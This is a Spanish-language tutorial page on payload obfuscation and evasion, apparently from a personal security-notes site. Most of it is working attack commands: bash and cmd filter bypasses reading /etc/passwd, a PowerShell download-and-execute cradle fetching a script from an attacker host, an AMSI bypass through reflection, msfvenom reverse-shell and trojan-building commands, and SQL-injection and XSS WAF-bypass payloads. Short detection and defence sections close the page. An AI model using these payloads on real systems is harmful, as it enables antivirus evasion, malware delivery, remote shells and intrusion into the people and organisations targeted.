the_open_door
café
ESEN
← Volver al índice

Payload Obfuscation & Evasion

Ofuscar un payload es reescribirlo para que haga exactamente lo mismo pero no coincida con las firmas que lo bloquearian: reglas de un WAF en la web, firmas estaticas de un antivirus en disco, o el escaneo en memoria de AMSI en Windows. No es una vulnerabilidad en si, es la capa que hace que el resto de tecnicas (una inyeccion de comandos, una inyeccion SQL, un Log4Shell) atraviese los filtros. La regla mental: la ofuscacion compra tiempo frente a deteccion estatica (patrones y hashes), no frente a deteccion de comportamiento (un EDR que ve un proceso lanzar powershell y conectar fuera).

Shell en Linux (bash)

Mismos comandos, sin las cadenas que busca el filtro (espacios, nombres de binario, palabras clave):

# sin espacios: ${IFS}, $IFS$9 o el tabulador; tambien redirecciones
cat${IFS}/etc/passwd
cat$IFS$9/etc/passwd
{cat,/etc/passwd}                      # brace expansion (la coma hace de separador)
cat</etc/passwd
# partir el nombre del binario para saltar listas negras
w'h'o'a'm'i                            # comillas vacias intercaladas
who$@ami                              # $@ se expande a nada
c\a\t /etc/passwd                     # barras invertidas
# construir la cadena desde variables o cortes
a=/etc/passwd;cat $a
cat ${HOME:0:1}etc${HOME:0:1}passwd    # ${HOME:0:1} = "/"
# codificar el comando entero y decodificar en linea
echo Y2F0IC9ldGMvcGFzc3dk | base64 -d | bash
echo -n 'id' | xxd -p                  # a hex ->  luego  echo 6964 | xxd -r -p | bash

Shell en Windows (cmd y PowerShell)

# cmd.exe: el acento circunflejo ^ escapa caracteres y rompe la firma
w^h^o^a^m^i
# cmd: substrings de una variable de entorno para componer el comando
set c=whoami&& %c:~0%
# PowerShell: -EncodedCommand (UTF-16LE en base64), la via mas comun
$c='IEX(New-Object Net.WebClient).DownloadString("http://<lhost>/s.ps1")'
[Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($c))   # -> pega en:
powershell -nop -w hidden -enc <base64>
# PowerShell: partir y recomponer para que no aparezca la cadena literal
$s=('Inv'+'oke-Mimi'+'katz'); &$s
"{1}{0}" -f 'ex','I' | iex                 # operador de formato
[char[]](105,101,120) -join ''             # de codigos de caracter
IEX (Get-Content .\p.txt | Out-String)     # traer el script desde fichero/HTTP

AMSI: el escaneo en memoria de Windows

AMSI hace que PowerShell (y otros motores de script) manden a Defender el contenido justo antes de ejecutarlo, asi que el -enc por si solo no basta. El patron clasico neutraliza el escaneo en la sesion actual parcheando el resultado que consulta AmsiScanBuffer:

# forzar que AmsiInitFailed sea true en la sesion actual (via reflexion; la cadena va troceada
# para que el propio patron no dispare la firma del bypass)
$a=[Ref].Assembly.GetType(('System.Management.Automation.Amsi'+'Utils'))
$a.GetField(('amsiInit'+'Failed'),'NonPublic,Static').SetValue($null,$true)
# alternativa: cargar el payload por reflexion (Assembly.Load) para no tocar el disco
[Reflection.Assembly]::Load([Convert]::FromBase64String('<dll-b64>'))

Detras hay herramientas que automatizan la ofuscacion (Invoke-Obfuscation para PowerShell, ScareCrow/Freeze para loaders de shellcode); el concepto es el mismo: romper las cadenas y la estructura que la firma reconoce.

Encoders de payload (msfvenom)

# codificar con un encoder e iterar varias pasadas (rompe la firma estatica del stub)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<lhost> LPORT=<lport> -e x64/xor_dynamic -i 5 -f exe -o rev.exe
# evitar bytes prohibidos (bad chars) tipicos de exploits de memoria
msfvenom -p linux/x86/shell_reverse_tcp LHOST=<lhost> LPORT=<lport> -b '\x00\x0a\x0d' -f c
# inyectar el payload dentro de un ejecutable legitimo (plantilla) y mantenerlo funcional
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<lhost> LPORT=<lport> -x plantilla.exe -k -f exe -o troyano.exe
msfvenom --list encoders          # ver los encoders disponibles

Aviso realista: shikata_ga_nai fue el encoder estrella pero hoy su stub de descifrado esta firmado; los encoders de msfvenom sirven para bad chars y CTF, no para evadir un EDR moderno.

WAF y filtros web

-- SQL: comentarios en linea, mayusculas/minusculas y comentarios de version de MySQL
'/**/UNION/**/SELECT/**/1,2-- -
'/*!50000UNION*/ /*!50000SELECT*/ 1,2-- -
%2553ELECT                       -- doble URL-encoding: %25 -> % -> el server decodifica dos veces
<!-- XSS: variar la etiqueta/el evento y codificar para saltar la lista negra -->
<img src=x onerror=alert(1)>
<svg/onload=alert(1)>
<a href="javas&#99;ript:alert(1)">x</a>   <!-- entidad HTML dentro del esquema -->
%3Cscript%3E ... %3C/script%3E             <!-- URL-encoding del payload -->

Ver los arsenales completos de bypass por motor en las cheatsheets de SQLi y XSS y en inyeccion de comandos.

Cómo detectarlo. Lo que delata la ofuscacion no es cada truco suelto sino sus rastros: en Windows, PowerShell con Script Block Logging (Event ID 4104) registra el script ya des-ofuscado, y -EncodedCommand/FromBase64String/[Ref].Assembly...AmsiUtils en una linea de comandos (4688/Sysmon 1) son firmas fuertes. En la web, cadenas con alta entropia o codificacion repetida (%25, %u, comentarios /**/ partiendo palabras clave) en un parametro son la anomalia que marca un WAF que normaliza antes de inspeccionar. En binarios, un blob grande de base64 o el loop de descifrado de un encoder (p.ej. el stub de shikata) los detecta YARA. Regla: cuanto mas raro es el encaje de un parametro o una linea de comandos frente a lo normal de esa app, mas probable es la ofuscacion.

Defensa. No fiarlo todo a las firmas: activar Script Block Logging y AMSI con Defender al dia, Constrained Language Mode y firma de scripts en PowerShell, un WAF que decodifique (URL/unicode/HTML) antes de aplicar reglas, y un EDR que mire comportamiento (un proceso ofimatico lanzando powershell -enc, o una webshell lanzando cmd) en vez de solo la cadena. La ofuscacion degrada la deteccion estatica; la deteccion por comportamiento y el registro completo la neutralizan.